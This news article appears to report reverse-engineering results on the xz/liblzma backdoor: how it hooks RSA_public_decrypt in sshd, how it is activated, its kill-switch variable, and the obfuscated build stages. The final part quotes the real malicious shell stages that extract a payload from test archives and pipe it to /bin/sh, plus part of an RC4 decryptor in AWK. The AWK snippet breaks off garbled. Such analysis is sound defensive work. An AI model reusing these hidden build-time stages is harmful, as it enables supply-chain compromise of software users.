Preliminary results of reverse engineering the malicious object file embedded in liblzma as part of a campaign to promote the backdoor in the xz package are available. The backdoor affects only x86_64 systems based on the Linux kernel and the Glibc C library, where an additional patch is applied to sshd that links to the libsystemd library to support the sd_notify mechanism. Initially, it was assumed that the backdoor allows bypassing authentication in sshd and gaining access to the system via SSH. More detailed analysis revealed that this is not the case, and the backdoor provides the capability to execute arbitrary code on the system without leaving traces in the sshd logs.
In particular, the RSA_public_decrypt function intercepted by the backdoor checks the host's signature using a fixed Ed448 key, and upon successful verification, executes code supplied by an external host using the system() function before privilege dropping by the sshd process. The data containing the executable code is extracted from the 'N' parameter passed into the RSA_public_decrypt function (the 'n' field from the rsa_st structure containing the public key provided by the external host), verified for checksum, and decrypted using a predefined ChaCha20 key before the verification of the Ed448 digital signature.
The standard host key exchange mechanism is used as a trigger for activating the backdoor in sshd. The backdoor takes advantage of the fact that OpenSSH certificates include the public key of the entity that created the signature and only reacts to the key prepared by the attacker that corresponds to the predefined fixed Ed448 key. If the signature verification fails against the public key or if the integrity of the executable data is not confirmed, the backdoor returns control to the standard SSH functions.
Since the attacker's private key is unknown, it is impossible to implement a verification code that would allow outsiders to activate the backdoor and execute a scanner for compromised hosts on the network. Researchers have prepared a script demonstrating the technique of substituting an arbitrary content public key into the SSH client’s OpenSSH certificate, which will be processed in an intercepted backdoor function RSA_public_decrypt.
Researchers also noted the presence of a kill switch mechanism on the local system that neutralizes the backdoor if the environment variable "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" is set before starting sshd.
Additionally, it is worth noting the detailed analysis of shell constructions used to obscure the process of extracting the object file containing the backdoor and substituting it in the liblzma library. During the package build of xz from the build-to-host.m4 script, code was executed that found the test file archive bad-3-corrupt_lzma2.xz, replaced some characters in it, transformed it into an intact archive, and extracted a shell script from it. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` … gl_[$1]_config='sed "r\n" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' gl_path_map='tr "\t \-_" "\t_\-"'
The obtained shell script extracted another shell script from the contents of the archive good-large_compressed.lzma in chunks, skipping specific sequences using the head and tail commands, and replacing characters with the tr command. ####Hello#### # a few binary bytes here, but as it’s a comment they are ignored [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh ####World####
As a result, a rather complex and extensive shell script was formed, which directly extracts the backdoor file from the good-large_compressed.lzma archive, decrypts it, and embeds it into liblzma. Among other things, the script included an implementation of a plugin mechanism, allowing for the subsequent delivery of additional executable components by placing new test archives without changing good-large_compressed.lzma and bad-3-corrupt_lzma2.xz, and using signature searching. The code also involved a decryption algorithm based on RC4, implemented in AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Source: opennet.ru
